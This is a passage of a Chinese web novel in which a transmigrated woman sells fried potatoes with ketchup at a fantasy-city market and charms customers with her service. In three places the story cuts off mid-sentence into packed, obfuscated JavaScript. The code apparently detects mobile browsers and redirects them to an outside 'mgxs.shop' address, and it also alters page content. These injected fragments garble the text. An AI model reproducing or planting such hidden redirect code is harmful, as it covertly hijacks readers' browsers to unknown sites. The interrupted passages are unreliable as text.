小吃摊所需物品齐备,她试着推起车,比想象的易操作,一个人操作也很稳当。 尤兰达环顾一圈,招手唤来西芙拉和菲奥娜,安排她们采摘葡萄叶,要挑比巴掌大的那种。 小摊贩通常采葡萄叶、睡莲叶当垫底,叶子一对折,就能打包食物带走。 讲究点的会提前采购酸模叶、车前草放井水浸泡,当然,需向客人多收5铜分的“叶子钱”。 尤兰达入乡随俗,也用叶子当一次性餐具。 昨天耽误了许多时间,回来的一路没见着有人卖树叶子,只好冲自家的葡萄藤伸出黑手。 西芙拉和菲奥娜听到召唤,嚼着素三明治摇头晃脑出来,都不问一句采叶子做什么用,乖乖爬上梯子。 尤兰达忙活一通,要紧事安排妥当,总算定下心来,端起放凉的早午饭。 才将三明治送到嘴边,厨房通往店面的拱门,几个小矮人推推攘攘挤进来。 尤兰达匆忙放下食物,“屋顶出了什么问题?” “没、没什么问题……”红发苏珊连忙摆手,搓了搓粗短的手指,“哦,我是说,屋顶的活都做完了。夫人要上去检查一下吗?” 尤兰达狐疑扫他们一眼,一个小矮人按捺不住,羞涩开口。 “其实,我们想问问夫人,您做了什么食物? 那味道顺着风飘上来,我们被它折磨了整整一上午,实在忍不住了。” 尤兰达惊了一下,她做的食物,竟然沦落到用“折磨”两个字形容? 红发苏珊见费尔南多夫人神色惊疑,忙补充:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200989|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不知是哪位厨娘的手艺?它们闻起来太美妙了,我们想知道这叫什么名字,希望在别的餐馆也能品尝到它们。” 小矮人们一大早去城外运茅草和木板,又一路拖进城里,一口饭、一口淡啤酒都没顾上喝,肚子直冒酸水。 和往常一样,大家想着熬一熬,上午很快过去。谁知楼下不断飘来的食物香气,勾得他们心神不宁,满脑子只惦记着赶紧做完活好好吃一顿。 一来二去,他们不自觉地加快了速度,预计要干一上午的活,硬生生提前两个小时完成。 几人一合计,实在好奇楼下究竟做了什么能香成这样,借口请主家验收,趁机进来打听几句。 尤兰达松了一口气,差点以为自己出师未捷身先死,费尽心力做出土著们最讨厌的口味。 “三明治,或者脆脆薯饼?”她试探着回答,“我只做了这两样。当然,如果都不是,那么一定是别家的早午饭。” 她闹不清对方具体被哪种香气勾住了。在尤兰达看来,除了油炸的油脂香,并无太多特别。 小矮人眨了眨茫然的大眼睛,面面相觑。 三明治是什么? 脆脆薯饼又是什么? 皇城什么时候冒出了他们不知道新吃食? “抱歉,夫人,请原谅我们的无知,三明治和脆脆薯饼是吗?我能在哪家餐馆找到它们?” 尤兰达心思一动,正愁找不到两个女儿以外的人试吃,这不,送上门来了。 “三明治和脆脆薯饼是我自己研究的,”她指着桌上餐盘里那十几块刚出锅、正晾着的金黄薯饼,舀了一勺浓稠的番茄酱推过去,“要尝尝看吗?” 小矮人们集体呆住了。 上帝啊,他们遇见天使了吗? 除了天使,谁会主动请陌生人吃东西? 小矮人们陷入了激烈的天人交战。 费尔南多夫人分明准备去市集摆摊,这说明她的家境绝不宽裕,食物对她们而言,每一口都弥足珍贵。 即便如此,心善的夫人依然愿意邀请他们品尝…… “还没有其他人尝过呢,这让我没什么信心,期待你们的评价。 说实话,我打算一份薯饼卖10铜币,不知道价格会不会不太合适?”尤兰达诚心发出邀请。 她原打算请邻居开一个试吃大会,顺带以此为由,经营一下邻里关系,经过昨天傍晚那一遭,她怀疑发出邀请会被误会投毒杀人。 红发苏珊委婉提醒:“10铜币可不便宜,恐怕只有工匠们才愿意掏钱尝尝鲜。” 算上食材成本、人工成本、耗损、摊位费等,以及目标利润率和市集溢价,取整后得出三块薯饼为一份、一份10铜币的最终售价,再低就没赚头了。 闻言,尤兰达心里安定许多,完全符合她瞄准的食客群体。 “尝尝吧,如果你们喜欢,欢迎来我店里用餐。”她指了指外面,热情打广告:“瞧,就是这间店铺,我打算经营一家饭馆,下个月开业。” 几个小矮人对视一眼,终究抵不过近在咫尺的美食诱惑。 “咻咻咻”,几只粗短手指灵活伸出,各自捏起一块金黄薯饼,迅雷不及掩耳之势往嘴里塞。 尤兰达那句“蘸酱会更好吃”的提示,在一连串“咔嚓、咔嚓”的脆响下,几乎没人听清。 小矮人们眯着眼,细细咀嚼品味。 薯饼外酥里软,咸味恰到好处,鼠尾草与欧芹碎的香气点缀其中,并不会喧宾夺主。 这口感、这滋味……他们发誓,这辈子绝对没吃过。 不知不觉,一块薯饼已下了肚,意犹未尽的几人舔起油汪汪的指腹。 红发苏珊这才想起夫人的话,懊恼地挥巴掌,拍上学徒后脑勺。 “你们几个馋嘴的土拨鼠,夫人说的话要听完,我们都太失礼了。” 学徒委屈地捂着脑袋,不敢反驳,和大家一起盯住陶碗。 殷红浓郁、泛着诱人光泽,脆脆薯饼都这么好吃了,番茄酱又会是什么滋味呢? 小矮人们露出眼巴巴的样子,和馋嘴的西芙拉、菲奥娜如出一辙。 尤兰达忍笑将盘子推近他们几寸,“再尝一块?” 红发苏珊的脸顿时比头发还红,神情真诚: “谢谢夫人,很高兴听到饭馆开业的好消息,我们一定会光顾的。10铜币对吗?我十分愿意为它付钱。 最后,我要收回我说过的话,脆脆薯饼卖10铜币可真划算,它和其他食物完全不同。 原谅我形容不出它有多好吃,不过我保证,它会得到大家的喜爱。” “对,我也会付,10铜币不算什么,谢谢夫人让我们有机会吃到它。” “稍等,我还没吃完,我也愿意付钱。” 有人急着掏钱,有人急着捏起第二块,先满足味蕾。 小矮人们将薯饼浸入番茄酱里滚了一圈,沾上厚厚一大坨酱汁。 然后,他们齐齐露出惊艳神色,含糊而陶醉的惊叹脱口而出。 “o.o 哦~” “上帝啊~” “这、这酱汁!” 尤兰达左瞄瞄,右瞧瞧,弯起唇角。 她的小吃摊,稳了。 14. 第 14 章 “铛——” 正午祷告的钟声悠扬浑厚,惊起门前小道上慵懒踱步的鸟雀们,扑腾着扎进树冠。 几片羽毛晃晃悠悠飘落之际,“吱呀”一声,矮人巷北1店的院门从内拉开。 未见人影,车轮碾过石板的声响先一步传来,不一会,尤兰达雄赳赳气昂昂地推着满载的推车出现。 门后,西芙拉和菲奥娜鬼祟地探出半个脑袋,左右张望一圈,一手提起裙摆,一手扶着帽檐,快步跟上。 来到人声鼎沸的大街,西芙拉和菲奥娜更窘迫了,拉下宽檐帽子遮住脸。 “妈妈,为什么非要我们穿辛德瑞拉的裙子?灰扑扑的丑死了,被别人看到……有失体面。” 两人偷感十足,生怕旁边过路人注意到她们,却不知欲盖弥彰的行径会惹来更多注目。 尤兰达感叹一声,这俩孩子真听话,让做什么做什么,做完了才傻乎乎想起来问为什么。 她脚步未停,“我的宝贝女儿如此美丽,你们金子般的头发、蓝宝石一样的眼睛,以及身上的丝绸裙子,会让所有经过的人自惭形秽。 那些整日与铁锤、木刨打交道的工匠们,哪里敢靠近我们的摊子?我们又该怎么把食物卖出去呢?” 西芙拉和菲奥娜眨眨眼,是、是这样吗? 深知自己容貌出众的女孩们越想越觉得合理,轻易相信了她的话,不自觉挺直脊背,微扬下颌,端起大小姐的矜持傲慢姿态。 “好吧,好吧,如果这能让她们感到安心,”西芙拉整理了一下并不存在的裙裾褶皱,勉为其难的宽容语气,“但我要说的是,区区麻布裙子,哪这么容易折损我们的美貌。” “说实话,他们无需自卑,”菲奥娜拨了拨颈侧的金发,“反正我不会参加他们的舞会。” 尤兰达将女儿们的神态尽收眼底,唇角弯了弯。 幸亏她有先见之明,离开尼尔森家把辛德瑞拉穿过的粗糙廉价麻布裙子全带出来,不然母女三人穿着缝了蕾丝边的精致亚麻裙,恐怕很难招揽到生意。 午后的阳光热烈泼洒,大街小巷里,各色摊子如雨后春笋般冒了出来。 母女三人合力推着平板车,在摩肩接踵的人流中艰难穿行。 抵达工匠街时,掏出摊位铅牌交给巡摊员登记,已是将近下午一点。 摊位不固定,遵循先到先得的原则,尤兰达不客气地选了街口最显眼的位置。 这里有树荫遮阳,还能辐射到广场上往来的人流,风水宝地啊。 街上行人不多,周遭赶来摆摊的小摊贩们陆续支起篷布,尤兰达瞧了一会,利落地架起泥炉,摆出陶锅与酱罐,盖着麻布的薯饼与土豆条一一陈列开。 洗净擦干、叠放整齐的葡萄叶摆在锅边顺手的位置。 一切布置妥当,尤兰达从车底拎出一只小藤篮,递给西芙拉,分派第一项任务: “小西,趁现在人不多,去修道院买两条鳕鱼、四块白面包回来。” 西芙拉一听可以自由活动,接过篮子和铜币,蹦蹦跳跳跑开了。 菲奥娜两眼包着一汪泪,不敢相信妈妈如此偏心。 尤兰达本也没指望十五岁的孩子做什么,一个人行动还自在些,抽出小板凳递给她,让她先去旁边自己玩会。 菲奥娜立刻憋回泪花,选了个最远的位置,撑着下巴观察来往的夫人小姐们的穿着打扮。 皇城的繁华远超幸福小镇,连皇城居民的衣着打扮也光鲜亮丽,好看极了。 工匠街行人渐多,有来采买的居民、仆佣,有工坊跑腿送货的杂役。 尤兰达观望的片刻工夫,两侧卖馅饼、煮豆子的小摊已经开始营业,接待熟客了。 她不敢耽搁,赶紧生起炉火,橘红的火舌舔着陶锅底,猪油缓缓融化,细密气泡一个接一个冒头。 整条街,像她这样“浪费”猪油的小吃摊实在不多见,没一会就吸引了过路人驻足看热闹。 但也只是看热闹。 他们不靠近,不问询,一副“我倒要看看你做出什么名堂”的架势。 尤兰达头一回摆摊直面食客,没什么经验,瞄了他们一眼又一眼,脑海里陆续闪过“要不要吆喝”“怎么吆喝”“吆喝什么”等念头,终于打定主意揽客。 “蘸酱薯条,现炸现卖,7铜币一份。” 她揭开装有番茄酱的陶罐盖子,希望殷红酱汁能勾起他们的食欲。 “薯条是什么?” “听起来很有趣,似乎没见过。” 两人交头接耳讨论起来,完全没有掏钱的意思,并一个跨步,加入右侧煮豆子的等待队伍。 尤兰达沉默了好久。 好在此时油温升至最佳,她专注眼前,抓了一把薯条滑入锅中。 “噼里啪啦!” 热油欢腾炸开,细密气泡簇拥着薯条翻滚,脂肪和蛋白质在高温的充分作用下,香气霸道逸散,在工匠街混沌的食物气味中,杀出一条路。 围观的客人一激灵,下意识后退一步。 这声音,像滚水泼进炭火,像烧红的铁块浸入水中,听起来就危险。 “上帝啊,她把食物扔进油里淹死了?” “闻着倒香,可这夫人不像是会做饭的人。” “只有炼金术士才这么折腾油脂……” 同行的年轻人低声回应,目光中透出些许敬畏与猜疑。 更多外围路过、听不清动静的行人,停住脚步,左右张望,寻找气味的源头。 两旁小吃摊前正排队等待的食客,无不被陌生而剧烈的“噼啪”声与汹涌的香气惊动,拧过脑袋,目光粘着油锅瞧。 以炖煮、烘烤为主流烹饪方式的世界里,“油炸”极为奢侈、罕见。 清澈油脂加热到沸腾,食物浸入其中翻滚、变色、蜷曲,落入围观者眼中,带着令人不安的危险。 路过的小孩被大人死死拽住手腕,不准靠近。兜售果酱的奶奶眯起眼睛,伸头瞅着。几位裹着头巾的妇人连声惊呼,与同伴窃窃私语。 这是哪来的邪门烹饪方式,太可怕了! 前所未见的烹饪技法,金黄油亮的陌生食物,与众不同的油脂焦香,对众人的视觉和嗅觉造成了双重冲击,无法言喻的新奇感打破了大家的固有观念和认知,牢牢网住四面八方投来的视线。 这……真的是烹饪食物吗? 他们瞧瞧热气腾腾的锅,又瞧瞧从容的摊主。 身形高挑、裹着素色头巾的丰腴女人,露出的下颌线干净秀致,手指白嫩。 瞧她对待食材的讲究,与其他小吃摊格格不入,不像常年劳作的厨娘,倒像走错了地方的贵族妇人,临时起意来体验市井生活。 观望的人群里响起低低的嘀咕: “到底卖的什么?黄澄澄一条条的。” “这么多油,是要喝下去吗?” “太奇怪了,为什么要放这么多油?” “肯定不能吃,谁家做饭是这样做的?乱来。” 随着工匠街行人增多,前来凑热闹的老外们也多了起来。他们指指点点半天,没一个人愿意掏钱尝鲜。 尤兰达心里嘀咕。 搁现代,瞧见什么新奇食物,就算网上有人吐槽“难吃”,她高低也要尝尝咸淡。 小老外怎么忍得住的?对新鲜事物的接受度,未免也太低了。 她心里着急,面上却不显,只垂着眼,轻巧拨动薯条。 手腕起落间,动作出乎意料的稳当娴熟,与她一身看似养尊处优的气度形成明显反差。 油锅滋啦响,复炸的薯条香气越发浓郁,勾得人胃里发空,喉头不自觉滚动。 他们仍旧看着,眼神里有探究,有困惑,有对陌生食物的戒备,也有对摊主的质疑。 这么僵持下去不是办法。 尤兰达扫视一圈,便将第一批炸好的薯条捞起晾凉。 深色陶锅里,金黄薯条表面泛着油光,随着热气袅袅上升,油脂缓慢沥出,香气几乎凝成钩子。 “咕嘟——” 有人重重吞口水,如石子入井。 “咕噜噜——” 有人腹中雷鸣,惹来几声压抑窃笑。 尤兰达垂眸淡笑,抽来碧绿葡萄叶,堆上薯条,舀起一勺酱汁淋下。 绿叶、红酱、金薯条,三种颜色撞在一起,蛮横闯入大家的视线,鲜亮的色泽光是看着就食欲大开。 尤兰达十分刻意托高展示,周遭吞咽口水的声响更密集了。 她坏心眼地招招手,唤来不远处的菲奥娜。 “小菲,饿不饿?想不想吃薯条?” 菲奥娜戴着宽帽檐的帽子,根本看不见路边有多少人盯着薯条呢,欢快扭头:“饿,吃。” 她忙不迭跑来,接过葡萄叶捧起,捏起薯条蘸着酱汁一口一个。 嘿嘿,姐姐不在,没人跟她抢薯条吃了。 “咔嚓咔嚓” 极轻又极脆的一声,像碾过初秋的落叶。 “妈妈,还要番茄酱,多给一勺嘛。” 薯条固然好吃,可没有酱汁搭配,到底少了点滋味,菲奥娜明显爱酱汁超过爱薯条,恨不得干吃番茄酱。 菲奥娜吃美了,全然没注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200990|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越多的顾客意动,已经有不少人放弃正在排的队伍,转来尤兰达的摊位前逗留。 小丫头吃什么呢,有这么香吗? 被众人虎视眈眈盯着,菲奥娜慢好几拍察觉不对劲,连忙护住手里食物。 “要吃自己买,可不能抢我的。” 众人闹了个大红脸,他们没想抢,这不头一回见到新奇吃法,想多看几眼嘛。 尤兰达见状,适时捞起第二批薯条,淋上酱汁递出去。 “蘸酱薯条,7铜币一份,现炸现卖,免费试吃一根。” 老外们精着呢,一听免费试吃,一窝蜂涌过来,一人捏起一根。 杰森仗着身材矮小,眼疾手快抢到一根沾了一点点酱汁的金色棍子。 他举起所谓的薯条瞅了瞅,又嗅了嗅,心里满是戒备。 去年有一家餐馆也琢磨出新的秘方,闻所未闻,有人图新鲜光顾过几次,结果上吐下泻,听说差点吃死人。 杰森想起祖父母和父母从小耳提面命的“不要尝试未知食物”的告诫,迟迟下不去嘴。 香是真香,也是真的想尝尝,但…… 他瞄一眼陶锅里不断翻腾的油花,怀疑自己一口咬下去,会不会流出一堆油。 杰森故意拖拉一会,斜眼去瞧和自己一起外出觅食的学徒工艾弗里和约瑟。 他们和他一样,抢到薯条并没有立刻动嘴,而是好奇地举起。 不止他们三人,身边其他抢到试吃薯条的食客们,也都如此。 大家谨慎观察,确认戴宽帽的女孩至今没有什么不良反应,终于小心翼翼送进嘴里,小口咬断,咀嚼—— “Amazing !” “上帝啊,好独特的口感,这是什么做法?” “你说它是土豆?不不不,你一定在开玩笑。” “一定是哪里搞错了,土豆不是这个味道。” “我是说,它很好吃,但是,土豆不长这样!” 众人表情各异,相似的惊叹与惊呼此起彼伏。 杰森正等待大家的反馈呢,胳膊忽然被人捅了一下。 “杰森你吃了吗?真的是土豆的味道,又有点不一样。”约瑟细细咀嚼品味,神情惊艳,双眼放光。 杰森确定了,他们没有中毒,放心咬下第一口。 “这……”杰森扭头与约瑟对望一眼,异口同声:“真好吃!” 难怪那个女孩子会露出那样的神情! 薯条只有手指那么长,三两口下去就没了,杰森遗憾地舔舔唇,回味道:“我的薯条没沾上多少酱汁,你呢?你吃到了吗?” 约瑟啊?了一声,“酱汁?我没吃到啊。” 杰森心里平衡了一点,果断拉着约瑟凑近摊子。 “夫人,还有试吃吗?我们想尝尝番茄酱的味道。”杰森羞红了脸。 食物宝贵,张口要免费试吃什么的,怪难为情。 但他们真的需要再尝一尝,一根薯条哪够吃啊,都没嚼出味。 “是啊,一根太少了,我还没吃够。”另一个白胡子小矮人舔着手指帮腔。 “我也想多尝尝番茄酱,好新奇的做法,这和我们平时吃的不太一样。”挎着篮子的壮夫人笑容局促。 第一波试吃活动结束,参与的食客把小吃摊围个水泄不通,外围没赶上的食客踮起脚,誓要瞧清楚怎么个事。 大家七嘴八舌问个不停,尤兰达好声好气回应: “上帝保佑,让我琢磨出这个叫‘油炸’的方法。今天只是一次尝试,没有准备足够多的份量,很遗憾没办法提供更多试吃。 先生、夫人们,要买一份带走吗?炸薯条7铜币一份,再送一勺番茄酱。” 一份炸薯条加一大勺酱汁,售价7铜币,有人嫌贵,有人觉得划算。 “好吧,7铜币不便宜,看在你用了一锅油的份上。”一头卷毛的年轻学徒工掏了掏口袋,递来7枚灰扑扑铜币,“给我来一份吧,多一点红色的酱汁可以吗?” 尤兰达笑容真切了几分。 终于,在隔壁摊位卖出去十几份小吃后,她终于开张了! “小菲,收钱。” 羊皮小包塞进菲奥娜怀里,尤兰达动作飞快,将初炸定型的薯条扔进锅里复炸。 菲奥娜懵懵抬头,一只黢黑的手送来脏兮兮的铜板。 眨眼工夫,又一只粗糙大手捏着铜币伸来,催促意味地晃了晃。 菲奥娜发誓,她真的只是反应了一会,就一小会儿,七八双手横插过来递钱。 上帝啊,有人争着抢着送钱的感觉真奇妙。 15. 第 15 章 菲奥娜手忙脚乱地收钱。 忙乱中,她暗暗咕哝:家教教导的简单算术,竟会在这种时候派上用场。 上帝可真会捉弄人! “嘿,先生,”她接过金发青年递来的铜币,一经手便觉分量不对,低头数了数,随即面色不善地提醒,“少给了一枚。” 青年顿时涨红了脸,慌忙道歉,赶紧从皮袋里摸出一枚补上。 菲奥娜满意接过,哗啦一声倒进腰间的羊皮小包,动作透出几分利落。 尤兰达时不时用余光注意着菲奥娜那边的动静,生怕她应付不来,见她能敏锐地辨出钱币数目,心头一松。 好好好,不是小智障。多了个会数钱的小帮手,轻松多了。 尤兰达记着哪些客人已经付过钱,依次将包好的薯条递过去,不忘轻声提醒一句:“拿稳了,小心烫。” 见有人挤太近,几乎要蹭到油锅边,抬高声音吆喝:“往后退一些,热油可不长眼睛!” 周遭不知怎的,静默了一瞬,然后,围住小吃摊的客人们乖巧后撤。 “谢谢你的提醒,善良的夫人。” 年纪不大、满脸雀斑的棕发学徒工深受触动,退到安全地带,捂着胸口望过来。 尤兰达懵了两秒。 这小老外又怎么了,好端端怎么就突然感动起来。 雀斑学徒工扭头和同伴说:“我会继续光顾的。上帝啊,我从来不知道,有人可以在收走你钱的同时,还愿意真心关心你会不会被烫到。” “好吧,好吧,”长胡子的小矮人搓了搓手,一改先前的粗声粗气,温声附和,“我收回之前的偏见……这位夫人的确很善良。 当然,如果她的薯条能再便宜一个铜币,那就更完美了。” 人群里传来几声低笑,方才观望与质疑裹挟的干巴氛围,悄然发生变化。 尤兰达越发莫名,发生了什么她不知道的事吗? 她不过随口提醒一句“小心烫”,出于基本的善意,也是前世餐饮行业刻进骨子里的服务意识,能让顾客感动至此? 尤兰达下意识扭头,望向隔壁煮豆子小摊。 摊主老先生全程一言不发,动作机械的收钱、舀粥,只把木勺在桶边磕三下,让余沥流尽,便递出面包碗。 年轻孩子心急接下,烫得直跳脚,摊主连眼皮都没抬一下。而周围人,见怪不怪。 仔细一想,尤兰达闲逛工匠街买小吃时,确实不存在什么服务态度可言,更别提微笑接待、热情招呼了。 一手交钱一手交货,买卖双方全程沉默寡言,有些摊主的态度甚至称得上粗鲁、无礼。 反正,维护客户事情一点不做。 大概是她们母女穿着打扮足够端庄体面,又为保持人设端着架子,这几天外出,尤兰达遇见的摊贩、杂役,大多比较殷勤周到。 她抬眼一扫四周,果不其然,听到她温馨提示的顾客,无论男女老少,无不朝她送来感激的微笑。 一双双蓝色、绿色、棕色的眼睛里,闪烁着一种受宠若惊的、名为感动的光芒。 尤兰达拨弄着油锅里的薯条,一时间不知该摆出什么表情。 这要照搬海底捞那套“宾至如归”的服务方式……小老外们怕不是要当场哭出声吧? 尤兰达试探性地牵起笑容,直视他们的眼睛,语气放得更温和了些:“欢迎光临,夫人想要哪种蘸酱?小心烫手,请慢——” “我要一份薯条!请多给些蘸酱!” “我、我要两份!” “给我三份!先给我!” “走”的单词尾音没能吐出,唰唰唰,十几个客人争先恐后下单。 尤兰达抽了抽嘴角,抱歉地看一眼旁边被订单淹没,晕头转向的菲奥娜。 怎么说呢……她当然知道服务态度对餐饮行业的影响,但确实没人告诉她,影响能有这么大。 几个原本因价格而迟疑、捏着铜币在摊前踌躇的小学徒,在她甩出一连串的标准服务用语后,像是下定某种决心,一咬牙,将紧攥的铜币递了出来。 人群还在不断聚拢。 有人是被香气吸引,有人是被这前所未见的“油炸”勾起好奇。 而现在,更多人被她与众不同的、带着温度的接待方式留住了脚步。 尤兰达手上动作更快了,油锅滋啦,薯条翻滚,酱勺起落,葡萄叶一片片减少。 …… 时隔数日,游侠骑士约瓦尼再次踏入工匠街,隐约发觉街上有哪里不同。 他骑着马徐徐前行,目光扫过叮当作响的作坊与喧嚷的人流。 直到第N个路人捧着某种用碧绿叶子盛装的食物从他身旁匆匆走过,边走边抓着金黄色的条状物往嘴里塞,脸上是如出一辙的、近乎沉醉的神情,约瓦尼终于找到了异样感的来源。 前几日来皇城,可没见过这副光景,甚至没见过这样的食物。 他只是多瞧了几眼,还没弄清它究竟是什么,目光就已被牢牢攫住,不由冒出品尝一番的念头。 鲜绿的叶、金黄的条、浓稠的红酱,三种颜色撞在一起,太漂亮了。 捧着它的人们步履匆匆,却无人舍得放下,指尖沾着酱汁也浑不在意。 约瓦尼不自觉吞了吞唾沫。 他勒住马,俯身拦住一位埋头疾走的老工匠,礼貌询问:“打扰了,请问您手里的食物……是从哪儿买的?” 老工匠闻声抬起头,浑浊的眼睛扫了他一下,随手朝身后某个方向潦草一指,含糊地“唔”了一声,便又捏起一根薯条塞进嘴里,嚼着走远了。 约瓦尼讪讪直起身,心头的好奇却越发挠人。 这到底是什么,让一群整日与铁锤、火星为伴的糙汉们,齐刷刷流露出期待和珍视的样子。 约瓦尼想到此次前来工匠街另有正事,遂按捺住心中躁动。 他心不在焉地驱马前行,祈祷朋友推荐的工匠足够靠谱,早早锻造好他需要的长剑,目光仍不由自主地追随工匠、学徒、洗衣工……捧着的绿叶包。 他想,等取到新的长剑,定要找到那个摊子,亲自尝尝它们是什么滋味。 无关紧要却挥之不去的念头尚在心间盘旋,约瓦尼没想到,穿过小广场,才走到工匠街街口,就从一群看热闹的人堆里找见了以严苛著称的匠人。 他健硕的身躯和浓密蓬乱的大胡子实在醒目,想认不出都难。 “老铁锤,我的剑——” 话音未落,却见锤下火花四溅时连眼皮都不多抬一下的铁匠,低头专注地舔着油光光的指尖,脸上露出近乎虔诚的满足。 约瓦尼见他对自己的呼喊充耳不闻,挑起眉,翻身下马。 他三两步走近,下一瞬,霸道而陌生的焦香便蛮横地撞进了鼻腔。 “好香!” 他挤到摊前时,铁匠正依依不舍地捏着最后半根条状食物,在红艳艳的酱汁里滚了又滚,郑重地塞进嘴里。 喉结滚动,一声模糊的喟叹从胡须丛中漏了出来。 “……这是什么?” “薯条。”铁匠全然没发现顾客找上门,含糊应道,眼睛还盯着油锅。 约瓦尼顺着他的视线望去,从攒动的人头缝隙间,终于看清了摊上售卖的食物,正是他一路惦记的那抹金黄。 他不禁失笑。 这可真是……巧了。 听到摊主清晰的报价,约瓦尼毫不犹豫数出七枚铜币,递给摊边收钱的少女。 “我要一份薯条。” 少女利落接过钱。几乎是同时,裹着头巾、脊背挺直的摊主朝他颔首微微笑,随即递来一份宽大葡萄叶托着的金黄小山和红色山尖。 “慢点吃,小心烫。” 约瓦尼下意识伸手接过,然后,整个人呆愣了好几秒。 等等,发生了什么?他才刚付完钱不是吗? 薯条就这么……出现在手心里了? 还有那句提醒——小心烫? 他古怪地望向摊主,对方已经转身招呼下一位客人,声音依旧温和,说着相似的、在喧嚣市集中显得格格不入的暖心话语。 这真是……一家特别的小吃摊。 约瓦尼退出拥挤人群,走到一旁安静的屋檐下。他老老实实等了一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200991|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,等薯条没那么烫时才捡起一根,学着旁边的其他人,蘸上酱汁塞进嘴里。 “奥——” 第一口下去,酥脆的外壳在齿间碎裂,内里温热绵软,混着酸咸微甜的浓郁酱汁…… 约瓦尼以骑士荣誉发誓,他走过数十个王国、无数座城池,从未尝到过如此新奇又美味的食物。 薯条?真是再贴切不过的名字。 一份薯条远不足以饱腹,约瓦尼品出其中滋味后,叶子上只剩下稀稀拉拉的酱汁。 他瞧了瞧四周,不少人旁若无人的实践他刚冒出的“不体面”的念头。 他们将葡萄叶送到嘴边,伸出舌头一卷,把那点残留的酱汁舔得干干净净,末了还咂咂嘴。 约瓦尼终究没好意思出失礼的举止,可番茄酱的独特滋味像羽毛一样,始终挠着他心尖。 只买一份真是个错误的决定。 懊悔只在心头停留片刻,他果断抛下空叶,重新挤进人群。 “我要三份薯条,请多给些番茄酱。” “薯条卖完了,”摊主朝他抱歉地笑了笑,手指转向另一盆金黄的小方块,“试试薯饼吗,先生?价格贵些,10铜币一份。” 人群里响起一阵嗡嗡声。 有人抱怨怎么就卖完了,这也太少了。 有人追问薯饼是什么,和薯条有什么不一样。 更多人聚在一起议论价格。 10铜币,够吃上配面包碗的麦粥了,那可是正餐。几个小方块要花10铜币,再有钱也得掂量着花。 计划买薯条的人迟疑了,不确定要不要多花三个铜币换成薯饼。 约瓦尼嘴巴比脑子快,抢先问:“买薯饼也配番茄酱吗?” 摊主笑吟吟说:“配,还另外准备了蜂蜜柠檬芥末酱,欢迎大家购买。” 约瓦尼一听有酱汁,不做他想,“薯饼也不错,给我三份。” 10铜币而已,不算贵。 他数出三十枚铜币交出去,收钱的少女已然焦头烂额,鼻头冒出热汗。 摊主的脾气和她的声音一样温和,安抚少女,让她慢慢数、分批次数,自己则飞快数出对应份量的薯饼放进油锅。 虽然买不到薯条了,周围也没人离开,都等着约瓦尼的薯饼。 没一会,三份薯饼推在一片叶子上,摊主大方极了,一半浇上番茄酱,一半浇上润泽油亮的什么芥末酱,满满一大勺呢。 “伙计,快尝尝,是什么味?” “是啊,难道比薯条更好吃吗?” “请一定告诉我,它值不值10铜币。” “是啊是啊,我可以花10铜币,但我得知道值不值。” 大家围拢过来,一双双眼睛直勾勾盯着他,催促他快些吃。 约瓦尼不自在的笑了笑,捏起薯饼吹了两口,送到嘴边。 入口的刹那,他眼底倏地掠过一丝惊异。灰色眼眸震颤着瞪大,连咀嚼的动作都顿了一拍。 外壳比薯条酥脆,牙齿磕碰的瞬间,发出清晰利落的碎裂声,难怪叫它“脆脆薯饼”。 酥壳的内里,鼠尾草与欧芹碎的芬芳温柔地渗入其中,比薯条更厚实、更饱满,也更让人停不下来。 番茄酱暂且不提,他喜欢极了,倒是摊主调配的黄绿色酱汁,芥末一点不冲,酸甜的口感盖住了芥末籽的辣,又不会完全夺走芥末的存在感,比番茄酱更惊艳他。 约瓦尼从不认为芥末有多好吃,不过是佐餐时惯常出现的、略带刺激的背景调味而已,平民才吃它。 谁能想到呢,芥末籽也能搭配出这样的滋味。 一块接一块,约瓦尼反应过来时,手中薯饼已经吞下大半,剩下一半孤零零躺着,怎么看怎么不够他塞牙缝。 “怎么样?好吃吗,你快说啊。” “肯定好吃,他都连着吃了好几块。” “没说话,肯定是好吃了啊。” 约瓦尼连连点头回应大家,爽快地掏出一枚银币,“请再来十份。” 银币一出,周围喧闹开来,不可思议的惊呼持续飘出。 薯饼真有这么好吃? 16. 第 16 章 古今中外,从来不缺跟风的人。 尤兰达惊喜收获一枚银币后,生意迎来了一波小高峰,冲着薯条等待观望的人群陆陆续续掏出钱币。 “奥——夫人,你早该告诉我们有薯饼的存在,这可比薯条管饱。” “薯条很美味,不过少了点香草味道真让人遗憾,薯饼完美解决了这个问题。” “我赞同,我喜欢鼠尾草,薯条可以加鼠尾草吗?” 尤兰达一面手上不停,一面笑着点头,虚心接受大家的“反馈” 